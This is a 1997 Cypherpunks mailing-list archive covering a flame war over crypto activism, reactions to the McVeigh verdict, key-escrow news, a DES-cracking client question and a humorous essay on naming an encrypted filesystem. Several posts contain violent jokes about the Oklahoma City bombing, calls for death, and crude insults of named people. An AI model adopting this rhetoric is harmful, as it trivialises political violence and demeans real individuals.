Jun 1997 05:26:46 +0800 Subject: May's Banal Rant In-Reply-To: Message-ID: At 3:06 PM -0700 6/2/97, Marc Rotenberg wrote: >I just came back from the 7th annual crypto >conference that we've organized in DC. Among >the people who spoke were Carl Ellison, Eric >Hughes, Matt Blaze, Peter Wayner, Cindy Cohn, >Bruce Schneier. (Michael Froomkin was invited, but >he's been out of the country. And Whit couldn't >make it cause he's finishing his book.) > >Like I said, Tim May et al are behind the >curve. You guys preach cyber anarchy but >you're really armchair activists. > I've tried to ignore your "appeals to authority" criticisms of the points I and other have made. But this is just stooping too low. Because we were not speakers at your conference, we're "armchair activists." Incredible. I'll have no more to say to you, now or at any foreseeable time in the future. There's something wrong when I'm a felon under an increasing number of laws. Only one response to the key grabbers is warranted: "Death to Tyrants!" ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From sunder at brainlink.com Mon Jun 2 14:40:32 1997 From: sunder at brainlink.com (Ray Arachelian) Date: Tue, 3 Jun 1997 05:40:32 +0800 Subject: Jim Bell Defense fund In-Reply-To: <199706011641.LAA08290@manifold.algebra.com> Message-ID: On Sun, 1 Jun 1997, Igor Chudov @ home wrote: > I guess everyone has forgotten about Jim Bell, but he is in no less > need of help than he used to be. > > I would like to know how to help him, and suggest to organize his > legal defense fund. Welp, just tell us where to send the $$$. :) =====================================Kaos=Keraunos=Kybernetos============== .+.^.+.| Ray Arachelian | "Boy meets beer. Boy drinks Beer, |./|\. ..\|/..|sunder at sundernet.com| Boy gets another beer!" |/\|/\ <--*-->| ------------------ | |\/|\/ ../|\..| "A toast to Odin, | For with those which eternal lie, with |.\|/. .+.v.+.|God of screwdrivers"| strange aeons, even death may die. |..... ======================== http://www.sundernet.com ========================= From rotenberg at epic.org Mon Jun 2 14:44:44 1997 From: rotenberg at epic.org (Marc Rotenberg) Date: Tue, 3 Jun 1997 05:44:44 +0800 Subject: May's Banal Rant In-Reply-To: <6333@lawprof.demon.co.uk> Message-ID: One other point about EPIC's role in the crypto debates - we've done very little in the legislative realm other than to argue for relaxation of crypto controls, oppose DT, DT funding, and criminalization of crypto. You want to find the folks cutting the deals, look elsewhere. Most of our work has been Freedom of Information Act litigation, political organizing, and public education. Among other things, we were the folks who got out most of the documents about Clipper, DT, and even the DSS. We've also organized political campaigns in the US against Clipper, in Paris against TTP, and two weeks ago in London against the DTI proposal. See, another problem with the Libertarian view of the world is you can't accept the idea that an organization in Washington, DC does real government oversight or political advovacy. It doesn't fit with your notecard-sized description of the world. Free speech is wasted on closed minds. Marc. From bennett_t1 at popmail.firn.edu Mon Jun 2 14:52:34 1997 From: bennett_t1 at popmail.firn.edu (bennett_t1 at popmail.firn.edu) Date: Tue, 3 Jun 1997 05:52:34 +0800 Subject: McVeigh Message-ID: <33934A8F.6114@popmail.firn.edu> Timothy McVeigh was found guilty on all counts today. I am not surprised. People will believe anything the govt. says, and besides, the governments lawyers were obviously more expensive than McVeigh's. This is a sad day for all anti-government haters. From tm at dev.null Mon Jun 2 14:57:15 1997 From: tm at dev.null (Lee Harvey McVeigh) Date: Tue, 3 Jun 1997 05:57:15 +0800 Subject: We have our exits, and our entrances... Message-ID: <199706022133.PAA08283@wombat.sk.sympatico.ca> ...and one man, in his time, plays many parts. To all my fans, I would like to thank you all for your support of our off-Broadway production, even though it looks like we will be closing the show after a short, eight-week run. Please don't shed any tears over the quick closing of the show, as the production was put in the hands of the government from the very start with this end in mind. I would like to address the criticism of the actors who played my defense team in the show by pointing out that their role was essentially that of bit-players in the production, not that of supporting actors as is usually the case in a production of this magnitude. This misunder- standing has led to their being criticized for their low-key presence when that is actually the role they were hired to play. There are also those who have heavily critqued the story-line of the production as being unrealistic and I will address that issue. The actual event which caused the OKC tragedy was so bizarre that the scriptwriters considered it too unbelievable to be dealt with in the final script. What happened was that a low-level government worker was doing an inventory and accidentally opened the box containing the magic bullet that killed JFK and wounded Gov. Connally. The bullet got loose and destroyed the OKC Federal Building. The script writers determined that a much more believable story was that I single-handedly performed the bombing on a day when all of the BATF agents just happened to be out of the building. (It's true. They were all in a bar down the street, working on the trial script.) I hope that you will all support me in my next role, in which I will actually play the leading role, this time, and which we tentatively plan to name, "Ernest Discovers Electricity." Lee Harvey McVeigh (.sig line left in by mistake) -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/ "WebWorld & the Mythical Circle of Eunuchs" http://bureau42.base.org/public/webworld "The Final Frontier" http://www3.sk.sympatico.ca/carljohn/ From whgiii at amaranth.com Mon Jun 2 15:08:36 1997 From: whgiii at amaranth.com (William H. Geiger III) Date: Tue, 3 Jun 1997 06:08:36 +0800 Subject: May's Banal Rant In-Reply-To: Message-ID: <199706022144.QAA20561@mailhub.amaranth.com> -----BEGIN PGP SIGNED MESSAGE----- In , on 06/02/97 at 05:06 PM, Marc Rotenberg said: >I just came back from the 7th annual crypto >conference that we've organized in DC. Among >the people who spoke were Carl Ellison, Eric >Hughes, Matt Blaze, Peter Wayner, Cindy Cohn, >Bruce Schneier. (Michael Froomkin was invited, but >he's been out of the country. And Whit couldn't >make it cause he's finishing his book.) >Like I said, Tim May et al are behind the >curve. You guys preach cyber anarchy but >you're really armchair activists. Well lets see, While you were hobnobbing in DC today I did the following: Spent time on the phone with PGP, Inc. going over various modifications that I have been working on to the PGP code. Spoke with 3 E-Mail vendors on the implementation of crypto to there products. Spent several hours on IRC disscussing with a group of IRC authors on the design and implemntation of Private Encrypted channel to their IRC products. Exchanged E-Mail regurarding PGP/MIME update draft. Spent the rest of the day writting & debuging crypto code. So *EXACTLY* where are we behind the curve? While you are playing your fanticy games in DC as self appointed defender of "Truth, Justice, and the American Way" the rest of us were doing *REAL* work bringing crypto to the masses. - -- - --------------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html - --------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: 2.6.3a Charset: cp850 Comment: Registered_User_E-Secure_v1.1b1_ES000000 iQCVAwUBM5M/Vo9Co1n+aLhhAQF85wP+L1rjo20IazmnncjlMdpVelcONKyvyAYq MczhhttataXxLmWAtnRNrZh32+82X9BD9p2qPZsQtKjhbNn7rd4MCBOJSJUU+b0W FIEFwNPB0gKbHSk0+0o9mXbrRbArcZGZMLjKGBf1nwWf8FmpCkFIUoyHvjFqmk4k ogD3zbl1Z4I= =8O8N -----END PGP SIGNATURE----- From rodger at worldnet.att.net Mon Jun 2 15:31:44 1997 From: rodger at worldnet.att.net (Will Rodger) Date: Tue, 3 Jun 1997 06:31:44 +0800 Subject: From Inter@ctive Week: Denning no longer backing key escrow? Message-ID: <3.0.2.32.19970602181107.007398c8@postoffice.worldnet.att.net> -----BEGIN PGP SIGNED MESSAGE----- Here's an interesting question: What happens when your star technical witness tells others she's no longer your witness at all? Denning now says she has doubts... (Responses? I'm no longer on cypherpunks, so mail me directly. Cheers - Will Administration Supporter Having Second Thoughts On Encryption Plan By Will Rodger 1:30 PM EDT Nixon went to China. Constantine converted to Christianity. Napoleon crowned himself emperor. So why can't Dorothy Denning be a cypherpunk? That's the question encryption mavens ask as the Georgetown University computer scientist slowly lets the word out: She won't back government plans for key recovery, key escrow or anything else alleged to increase national security until backers show that the benefits of controls on encryption outweighs those of letting free market forces govern its use. That's a far cry from the way she once talked about encryption technology. As recently as this year Denning was pegged as a strong backer of keeping controls on a wide range of computer-security products. "Maybe export controls should be lifted," Denning said. "But I'm not saying that all controls should be lifted. I've gotten into a state where I don't know and I'm not sure that I ever knew." Denning may be the only prominent cryptographer to support government control of encryption technology, the underlying technology behind nearly all Internet security devices that scramble information so even the wiliest hacker is powerless to decode it. As the author of the first widely read textbook on the subject, her opinion carries weight with at least some in the encryption community. Since encryption can be used to defeat lawful wiretaps and other electronic searches and seizures, Denning backed law enforcement as it tried to fight encryption's spread abroad. But now a host of objections to the Clinton administration's plan have turned the argument on its head. As the Internet becomes more popular for business use, encryption is more important than ever to keep hackers out. And a recent cryptographer's report suggesting that it would be far riskier to give governments spare keys to decode messages in a few places than not to have third party access at all has clearly shaken Denning's confidence. Policy specialists in Washington and elsewhere have speculated that Denning would announce something soon, but none wants to push her for fear of alienating someone who could end up a potent ally. "I don't think any close scientific observer of this debate can deny that there are real technical concerns raised by the Administration's position," said Alan Davidson, counsel with the Center for Democracy and Technology. "I think its just best for us to sit back and not say anything at this point," added another prominent activist. "We don't want to force her hand." Will Denning go over to the other side? "I'm not advocating anything anymore," Denning said. "I support what the administration is doing because I really see them struggling with these things." -----BEGIN PGP SIGNATURE----- Version: 5.0 Charset: noconv iQEVAwUBM5NE+EcByjT5n+LZAQHgzgf9FLHCAw4aw6wETKtsaK7WVmbyYMhMWaW5 hPXl21Xl24XioSm3xMjvvjWXfqZyn1rIX+hD7awVVevoRLjHsSC9LM4YwxW9pq+U EiXPjrciK65xxaIqaj3o5cI53QWWDHQN3+p++WUu2/d1+5b9xq2u4C5V9Jb4Jkld RCLh65nxe/mxTgvPBYZkuBwVn6WpuWPyQvbNMkmptMOgil4WYx3tiXNtJBz9GTZR t83g2tvfIz8c5Wz0Grc8Ln3pXckiQmko7e5zU2bH1/MPtPnUwwZav+xbCvkL/KAd qMZmzgVVR8EUIYkevPHuflmius4LY1m2SAAEmcs9R5Ont72sa0iFBw== =sDTa -----END PGP SIGNATURE----- Will Rodger Washington Bureau Chief Inter at ctive Week A Ziff-Davis Publication http://www.interactiveweek.com From shamrock at netcom.com Mon Jun 2 15:36:01 1997 From: shamrock at netcom.com (Lucky Green) Date: Tue, 3 Jun 1997 06:36:01 +0800 Subject: any off-line client for DES crack? In-Reply-To: <199706021817.UAA13019@digicash.com> Message-ID: Are the computers completely off the net or are they behind a firewall or dial-up connection? If the boxes can talk to a networked UNIX box that is behind the same side of the firewall or have a dial-up connection, DESCHALL offers helper software for you. -- Lucky Green PGP encrypted mail preferred On Mon, 2 Jun 1997, Bryce wrote: > > I'd like to train a couple of off-the-net computers to crack > DES. Unfortunately there appears to be no off-line client > which uses files, so I can sneakernet a big batch of "try this > keyspace" requests, leave it running for a few weeks, and then > sneakernet the results back. > > > Yeah, I could hack it myself, but I thought I'd recommend the > idea to the people who are actually coordinating the searches. > > > (Of course the user should be able to tell if the client has > scored the key. Some users may well decide not to bother > sneakernetting "not found" results back to the Net, but will > check to see if their client won.) > > > (In case you are worried, I am good net.citizen who trims > Newsgroups: lines, is careful not to take the name of Kibo in > vain, and who never trolls for newbies by posting "follow-up to > this article to get free nude picture of Sandra Bullock!". So > _I_, therefore, would faithfully sneakernet my "key not found" > results back to the Net.) > > > Regards, > > Zooko Journeyman > > Disclaimers follow: I am not a crook. NOT speaking for DigiCash > or any other person or organization. No PGP sig follows. > > From nobody at REPLAY.COM Mon Jun 2 15:54:46 1997 From: nobody at REPLAY.COM (Anonymous) Date: Tue, 3 Jun 1997 06:54:46 +0800 Subject: McVeigh In-Reply-To: <33934A8F.6114@popmail.firn.edu> Message-ID: <199706022240.AAA16234@basement.replay.com> On Mon, Jun 02, 1997 at 05:34:55PM -0500, bennett_t1 at popmail.firn.edu wrote: > Timothy McVeigh was found guilty on all counts today. I am not > surprised. People will believe anything the govt. says, and besides, > the governments lawyers were obviously more expensive than McVeigh's. > This is a sad day for all anti-government haters. Yes, poor Tim Mcveigh. If he's innocent then he is one more victim of the OKC bomber. Tim May: "broken eggs and all that" From whgiii at amaranth.com Mon Jun 2 15:58:37 1997 From: whgiii at amaranth.com (William H. Geiger III) Date: Tue, 3 Jun 1997 06:58:37 +0800 Subject: Just Behind The Curve Message-ID: <199706022243.RAA21540@mailhub.amaranth.com> -----BEGIN PGP SIGNED MESSAGE----- I almost forgot, I rewrote a couple of paragraphs on my paper: "Security Risks & Benefits in Implementing Automatic Processing of PKE in Electronic Mail". I even put in some pretty pictures so the tit suckers in DC would have somthing to look at. - -- - --------------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html - --------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: 2.6.3a Charset: cp850 Comment: Registered_User_E-Secure_v1.1b1_ES000000 iQCVAwUBM5NLqo9Co1n+aLhhAQF2tQP7BgYSloqG3DmBuGBk5EXZK2+LdPL9+7nx rWK+3pW8yqrKahtGVBIVZFjhMytYumcic9nQiLUoQcFNuDdH5kaL9bQITvMUEzrL RTvN5SvnQrcYI7jkZpAjoWCGInXT+01/AaQ3QFlVA+46lHppHGQA1jP84htnwJhW eNZ9D36wiNU= =zWEU -----END PGP SIGNATURE----- From aba at dcs.ex.ac.uk Mon Jun 2 17:06:07 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Tue, 3 Jun 1997 08:06:07 +0800 Subject: Comments on the Macintosh In-Reply-To: Message-ID: <199706021933.UAA00605@server.test.net> Vinnie Moscaritolo writes: > Tim May writes: > >.the Mac OS is of course still missing basic OS features such as... memory > >>protection.) > > Tim,.I am suprised to hear you whining with such a liberals voice.. I > always thought that demanding memory protection in an OS is a lot like > demanding that the government is responsible for protecting you from > anything that might go bad.. If applications are well written, then you > really dont need the memory partitions in a personal computer. Are you serious? Or are you pulling our leg? > That is if application writers would take responsibility for thier own > apps... People write crap software. Microsoft writes crap software. If the OS reboots or freezes every time a microsoft app dumps core on you, it gets tedious. If you are developing software you don't want a reboot just 'cause you got a stray pointer. Real multi-tasking is kind of nice too, like when the mouse cursor still functions, and your system still runs while copying a file to a floppy disk. (The entire system freezes for the duration of the operation with win3.1, and I think it is still noticeable in win95. Linux where as you wouldn't know there was a floppy being copied if you didn't glance down at the drive light.) Adam -- Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/ print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 Anonymous wrote: > Yes, poor Tim Mcveigh. If he's innocent then he is one more victim > of the OKC bomber. > > Tim May: "broken eggs and all that" "They also serve, who only stand and hate." - Winston David Dukehill From lucifer at dhp.com Mon Jun 2 17:13:35 1997 From: lucifer at dhp.com (lucifer Anonymous Remailer) Date: Tue, 3 Jun 1997 08:13:35 +0800 Subject: From Inter@ctive Week: Denning no longer backing key escrow? Message-ID: <199706022353.TAA06529@dhp.com> Will Rodger wrote: > Here's an interesting question: > What happens when your star technical witness tells others she's no longer > your witness at all? > Denning now says she has doubts... > "Maybe export controls should be lifted," Denning said. "But I'm not saying > that all controls should be lifted. I've gotten into a state where I don't > know and I'm not sure that I ever knew." Translation: Denning is waiting for the check from Sun Microsystems to clear before she finally makes up her mind. TruthMonger From mpd at netcom.com Mon Jun 2 17:14:18 1997 From: mpd at netcom.com (Mike Duvos) Date: Tue, 3 Jun 1997 08:14:18 +0800 Subject: May's Banal Rant In-Reply-To: Message-ID: <199706022331.QAA17726@netcom3.netcom.com> Marky Mark Rotten writes: > Like I said, Tim May et al are behind the > curve. You guys preach cyber anarchy but > you're really armchair activists. That's "Crypto Anarchy." > - For anyone interested in getting the most > recent EPIC Crypto Privacy Sourcebook, we > should have a notice on our web site by the > end of the week. I'll put reading the latest EPIC (spit) publication on my list of very important things to do, right after donating copiously to the National Brotherhood of Jackbooted Thugs, and having my private parts steam-cleaned by Cocksucker John Gilmore. Armchair activists indeed. -- Mike Duvos $ PGP 2.6 Public Key available $ mpd at netcom.com $ via Finger. $ From nobody at huge.cajones.com Mon Jun 2 17:16:39 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Tue, 3 Jun 1997 08:16:39 +0800 Subject: Email Filter Needed Message-ID: <199706022338.QAA22668@fat.doobie.com> Someone needs to write an email filter that saves the headers from the TruthMonger (et al) posts and deletes the message. (A similar case could be made for mute Playboy centerfold candidates.) X-Comments: This email message is not from "Lee Harvey McVeigh': it was X-Comments: sent by an anonymous asshole using a remailer. X-Comments: Send all complaints about abuse of this remailer to X-Comments: the Oklahoma City Federal Building in a Ryder truck. From tm at dev.null Mon Jun 2 17:19:46 1997 From: tm at dev.null (Truth Monger) Date: Tue, 3 Jun 1997 08:19:46 +0800 Subject: EPIC...Buy Guns! Message-ID: <199706022335.RAA19670@wombat.sk.sympatico.ca> I just watched a Detroit news report on the paramilitary and how the 'regular' citizens would have no problem with the government's desire to criminalize the existence of paramilitary group. A reporter expressed the view that the government is "hesitant" to "strongarm" legislation that limits the constitutional rights of the paramilitarists because they fear the "trouble" that would arise. Perhaps we should approach the Michigan Militia to represent us in crypto issues involving government regulation. "Reasonable compromise" should refer to promising your opponent a quick death. TruthMonger From kirkfort at teleplex.net Mon Jun 2 17:21:17 1997 From: kirkfort at teleplex.net (Kirk Fort) Date: Tue, 3 Jun 1997 08:21:17 +0800 Subject: okc trial Message-ID: <199706030019.UAA24151@teleplex.net> -----BEGIN PGP SIGNED MESSAGE----- I hope Tim McVeigh frys. His friend Terry too. "Dust off old sparky, its time to start cooking" Kirk -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQB1AwUBM5NgTligvzmuAps5AQEj+gL/TzmTIDcU3OUOs5wSJHv/kZIA0Wh5z5JX aJPra8AZhGMpPQG9myZAi8iBjS29LPgnBjCAu8+/3ksC7EBIslC7yoak5ShRB1+m VUamIo91CrTF3P5C5d9bejXnmPV1S1oi =lS7M -----END PGP SIGNATURE----- From ericm at lne.com Mon Jun 2 17:28:29 1997 From: ericm at lne.com (Eric Murray) Date: Tue, 3 Jun 1997 08:28:29 +0800 Subject: Net Driver's License In-Reply-To: <3.0.2.32.19970602151255.035e6b5c@panix.com> Message-ID: <199706030016.RAA22310@slack.lne.com> Duncan Frissell writes: > >If an 'Internet drivers license' bill passed next week, it'd take at > >least a year to get it repealed (probably much longer). During > >that time, if the government wished to do so, it could stage any > >number of provocative acts, blame them on 'Internet Terrorists', then > >get James Kallstron on tv to announce that the 'Terrorists' have been > >caught via their Internet Drivers Licenses. [...] >Think about it. An Internet Driver's License could only license a connection > not communication itself (1st Amendment) and a single Net connection can > connect to a network that is big on the other side as the rest of the Net > itself. Cheating is way too easy. Oh, I'll agree with that. I think that governments will do it anyhow. >From a government standpoint it's ok if it's basically unenforceable, because it makes a nice "dual-use" tool: if someone the government doesn't like is using a forged IDL, they can be busted for that. Remember, wiretaps to gather evidence are now legal if they're "in good faith". All it takes is one mention of your forged IDL, or a slip in your code, and the secret's out. If they do use a valid IDL, then they're traceable and can be traffic-analyzed into revealing their "co-consiprators", then busted. Of course these techniques will only be used against terrorists, never against freedom fighters. -- Eric Murray ericm at lne.com Privacy through technology! Network security and encryption consulting. PGP keyid:E03F65E5 From ichudov at algebra.com Mon Jun 2 17:47:25 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Tue, 3 Jun 1997 08:47:25 +0800 Subject: McVeigh In-Reply-To: <199706022240.AAA16234@basement.replay.com> Message-ID: <199706030020.TAA04784@manifold.algebra.com> Anonymous wrote: > > On Mon, Jun 02, 1997 at 05:34:55PM -0500, bennett_t1 at popmail.firn.edu wrote: > > Timothy McVeigh was found guilty on all counts today. I am not > > surprised. People will believe anything the govt. says, and besides, > > the governments lawyers were obviously more expensive than McVeigh's. > > This is a sad day for all anti-government haters. > > Yes, poor Tim Mcveigh. If he's innocent then he is one more victim > of the OKC bomber. > > Tim May: "broken eggs and all that" Is that the end of the story? I understand it that he can appeal, and will. - Igor. From proff at suburbia.net Tue Jun 3 09:04:16 1997 From: proff at suburbia.net (proff at suburbia.net) Date: Tue, 3 Jun 1997 09:04:16 -0700 (PDT) Subject: Cryptographic Mythology Message-ID: <19970603160344.26296.qmail@suburbia.net> Here is something to amuse, delight and horrify - the tail of: _One Man's Search for a Cryptographic Mythology_. I recently wrote a VNODE (4.4bsd) based encrypted file-system. Now the day dawned when I decided it was high time to discard my rather egocentric working name _Proffs_ (i.e Proff File System) and cast about for a decent, respectable name. My first thought on this matter was: CERBERUS, n. The watch-dog of Hades, whose duty it was to guard the entrance -- against whom or what does not clearly appear; everybody, sooner or later, had to go there, and nobody wanted to carry off the entrance. Cerberus is known to have had three heads, and some of the poets have credited him with as many as a hundred. Only, what was the relation between KERBEROS and CERBERUS? Pups from the same litter, or was the relationship a little more incestuous? I had to find out. There was no way - n o w a y - I'd be having my encrypted file system playing second fiddle to that evil authentication beast. KERBEROS; also spelled Cerberus. n. The watch dog of Hades, whose duty it was to guard the entrance--against whom or what does not clearly appear; . . . it is known to have had three heads. . . Mythology couldn't get any more incestuous than that. 450,000 bytes of Greek polytheism later, and I'm wondering if the Gods of Olympus really had any high-paid guards to speak of except the multi-headed mongrel from Hades. I'm feeling down. I'm cursing the Ancients. I'm disrespectfully humming tunes `All and All it's Just Another Greek in the Wall', and `Athena be my Lover' when I discover: JANUS: in Roman mythology, custodian of the universe, god of beginnings. The guardian of gates and doors, he held sacred the first hour of the day, first day of the month, and first month of the year (which bears his name). He is represented with two bearded faces set back to back. Custodian of the universe. Guardian of gates and doors. Cooool. Janus. January. I like it. Only while I'm liking it, I'm thinking that I've heard the word Janus a lot before. I'm thinking it isn't just me who has looked up from the middle of a Greek mythology text, whilst in the throes of a name hunt with the words "Cooool" on their tongue. No: the Gods just don't smile on me that way. AltaVista confirms the truth of Heaven's bad attitude towards me. 17,423 references. _The Janus Mutual Trade Fund_, _The Janus Project_, _Janus ADA95_, a dozen ISPs from Canada (what is it WITH these Canadians?), _Janus' cool word list_ (turns out to be not so cool), _The Janus Ensemble_, _Hotel Janus_, _Janus Theatre_, _janus.com_, _janusfunds.com_, _Janus_ an Australian Police drama series and of course, the sixth moon of Saturn - _Janus_. Janus is out-of-the-picture. I'm not sure whether to feel smug or grim about the rest of the world's lack of originality. Guards. Guardians. The Greeks didn't have many with bite and I'm loosing patience with the whole culture. Euphrosyne, Aglaia, and Thalia do not grace me. What I need is something that evokes passion within my cryptographic domain. And when you come down to it, that means something which produces copious amounts of gore and blood, at will, from those who would dare to pass its demesne of protection. The Erinyes, or Furies, were three goddesses who punished by their secret stings the crimes of those who escaped or defied public justice. The heads of the Furies were wreathed with serpents, and their whole appearance was terrific and appalling. Their names were Alecto, Tisiphone, and Megaera. They were also called Eumenides. Aye. Plenty of gore there. But somewhat lacking in cryptographic analogy. Fantastic material for the group that doesn't meet at number 41 every Saturday night though. They will appreciate what the Erinyes were trying to achieve. Somewhat heartened, my mind turns to the Erinyes' dress sense. "..heads of the Furies were wreathed with serpents, and their whole appearance was terrific and appalling". Terrific. Serpents. Terrific \Ter*rif"ic\, a. [L. terrificus; fr. terrere: to frighten + facere: to make. See Terror, and Fact.] Causing terror; adapted to excite great fear or dread; terrible; as, a terrific form; a terrific sight. Is it a symptom of society in decay that this word has come to mean: Excellent \Ex"cel*lent\, a. [F. excellent, L. excellens, -entis, p. pr. of excellere. See Excel.] 1. Excelling; surpassing others in some good quality or the sum of qualities; of great worth; eminent, in a good sense; superior, as an excellent man, artist, citizen, husband, discourse, book, song, etc.; excellent breeding, principles, aims, action. Or as Milton would say: To love . . . What I see excellent in good or fair. On the other hand, David Hume (1711-1776): The more exquisite any good is, of which a small specimen is afforded us, the sharper is the evil, allied to it; and few exceptions are found to this uniform law of nature. The most sprightly wit borders on madness; the highest effusions of joy produce the deepest melancholy; the most ravishing pleasures are attended with the most cruel lassitude and disgust; the most flattering hopes make way for the severest disappointments. And, in general, no course of life has such safety (for happiness is not to be dreamed of) as the temperate and moderate, which maintains, as far as possible, a mediocrity, and a kind of insensibility, in every thing. Perhaps it is the sign of a brain in decay, rather than a society that I dwell on it so, because Terrific hair serpents of course lead unfailing into the arms of the Medusa. A guardian of fearsome looks, but dubious motivations according to authorities like Clash of the Titans (1981). A moot point, perhaps as Princeton's history department no longer wants to talk to me. I'm cast adrift, to rely on my Plasticine childhood memories and the mythological swamp of the web. NAME: Medusa FAVORITE PASTIME: Turning men to stone PLACE OF ORIGIN: Los Alamos Secret CIA Lab SPECIAL GIFTS: Petrified Aggregate Projectist FAVORITE MOVIE: Mighty Morphin' Power Rangers GOALS IN LIFE: To be a nice person FAVORITE BOOK: Madonna's biography PET PEEVE: Bad hair days Jesus. I've been sucked into comic book hell. Princeton, take me back. I won't curse at the ancient Greek's sexual proclivities anymore. I'm sure chaste marriages were very daunting to those yet to have them. I was only joking. Lighten up will you? But, alas, the history faculty however was still nursing its wounds, and was not ready to forgive me. I'd have to find an authoritative source somewhere else. Perhaps I could filter out the comic book hell contaminants and come up with respected history Ivy, even if it wasn't Princeton Ivy. To decapitate - to castrate. The terror of the Medusa is thus a terror of castration that is linked to the sight of something. The hair upon the Medusa's head is frequently represented in works of art in the form of snakes, and these once again are derived from the castration complex. It is a remarkable fact that however frightening they may be in themselves, they nevertheless serve as a mitigation of the horror, for they replace the penis, the absence of which is the cause of the horror. This is a confirmation of the technical rule according to which a multiplication of penis symbols signifies castration. Sigmund Freud The Medusa's Head You had to hand it to Sigmund. He was nothing if not authoritative, and after reading his inspiring words on the terrific serpent haired woman, it became clear to me that _Proffs_ and the Gorgon had somewhat unresolved metaphorical incompatibilities. I didn't want my software giving anyone a castration complex. I decided to put aside the denizens of Olympus from contest verbatim. I'd read Fraud on Perversions a few years before and knew Medusa was just a portent of what was to come. What I needed was another polytheist culture entirely. Latin didn't help me. Nearly all the Roman Gods had been vilely plagiarised from the Greeks, Latin names or not. Freud knew this as well as I did. The Norse gods were of little assistance to me. The only one worth paying school to was Loki, the Norse god of mischief. Loki was a very cool fellow, which was why his name has been appropriated as a moniker by virtually every Bjorn, Sven, and Bob hacker to come out of Scandinavia in the last 10 years. No, Loki was not for me. The problem craved for a polytheist mythology outside the realm of my, and more importantly Sigmund Freud's, Western European upbringing. The answer to my question was by definition locked within a body of history I didn't know an onion skin about. In order for the pilgrim to reach the master he must first place his foot on the path, no matter how gradual the slope up the mountain of enlightenment. Zen Buddhism is good like that. Fabricating parables up as you go along that is. Zen master Gutei raised his finger whenever he was asked a question about Zen. A young novice began to imitate him in this way. When Gutei was told about the novice's imitation, he sent for him and asked him if it were true. The novice admitted it was so. Gutei asked him if he understood. In reply the novice held up his index finger. Gutei promptly cut it off. The novice ran from the room, howling in pain. As he reached the threshold, Gutei called, "Boy!". When the novice returned, Gutei raised his index finger. At that instant the novice was enlightened. But wait. This Koan isn't fabricated. At least, not by me. And unlike most Zen Koan's I think you will agree that it pleasantly satisfies Schopenhauer's "life, without pain, has no meaning". However, semantically I'm seeing a very unhealthy correlation to forgetting one's encryption key and losing one's finger. My mind is drawn to the memory of the real-life nightmare of laying in the easy-chair of a Swanston St. hypnotherapist suite, gazing intently into a bright, but distant red light, while chanting the mantra "I am not cynical about hypnotherapy. I am not cynical about hypnotherapy. I am not cynical about an Indian doctor with a 5th floor office decorated coup'd'Edelstien. I'm not cynical about a man who claims that his foremost clientele are rich middle aged women who have put their jewellery somewhere "safe" and consequently are unable to recall the location. I'm not cynical about a hypnotist who extols the virtues of having a M.D. so his patients can claim 2/3rds of the cost of these jewellery retrieval sessions under Medicare. I'm not cynical that these middle aged women are infact suffering from some form of Mesmer complex. And by all the powers in Heaven, I have no pessimism about recalling my god-damned pass-phrase!". I never did remember the pass-phrase and you will notice Gutei keeps very quiet about what he does with the novice's finger. In this particular case, given the value of the data, I would have traded placed with Gutei's novice, before you can say "Boy! Was I enlightened". I put my chin on my knee, and stare at the grain of my beige plastic monitor case. Unless I could jump into another reality it was the end of the line for _Proffs_ and _One Man's Search for a Cryptographic Mythology_. Boy! Was I bummed. One of the great sins of us programmers is procedural thinking. And it was exactly this sort of folly I was engaging in. There were around 6 billion other realities going about their business. I grant you that 2 billion of these were no doubt indulging in the confusion and diffusion of an avalanche of pseudo-random mental images and sequences we associate with dreams, and probably another 2 billion busy expanding their minds with the powerful products of hash or decaying into a compressive state of increasing entropy and beer rounds. This still left a select 2 billion souls with which to weave my work. If I approached them directly rather than by analysing the information trails they left behind, I'd stand a good chance of getting my feet onto the path of cryptographic mythological enlightenment. I have a Swedish friend who calls himself Elk on odd days and Godflesh on even days. Don't ask why. As far as I know he's not bisexual. Elk listened to my quest for cryptographic myth. He had pondered, and uncovered a diamond in the rough. MARUTUKKU. The third name is MARUTUKKU, Master of the arts of protection, chained the Mad God at the Battle. Sealed the Ancient Ones in their Caves, behind the Gates. F a r o u t. Master of the arts of protection. Chained the Mad God. Sealed the Ancient Ones in their Caves, behind the Gates. Even the very word MARUTUKKU looks like it has been run through a product cipher. But I wasn't about to trust the work of a self-admitted Swedish Sumeria freak who was obviously suffering from a bi-polar moniker disorder. Was it mere coincidence that MARUTUKKU was an anagram for KUKU MART and KUKU TRAM? I didn't want MARUTUKKU to end up as another cog in the annals of Freudian analogy. What I needed was the sort of Authoritative History that only Princeton's history faculty could provide. The tablets of the Enuma Elish: The Akkadian Creation Epic Based on the translation of E. A. Speiser, with the additions by A. K. Grayson, Ancient Near-Eastern Texts Relating to the Old Testament, third edition, edited by James Pritchard (Princeton, 1969), pp. 60-72; 501-503, with minor modifications. This work, the ancient Mesopotamian creation epic consisting of seven tablets, tells of the struggle between cosmic order and chaos. It is named after its opening words. It was recited on the fourth day of the ancient Babylonian New Year's festival. The text probably dates from the Old Babylonian period, i.e., the early part of the second millennium B.C.E. [...] The third name is MARUTUKKU Master of the arts of 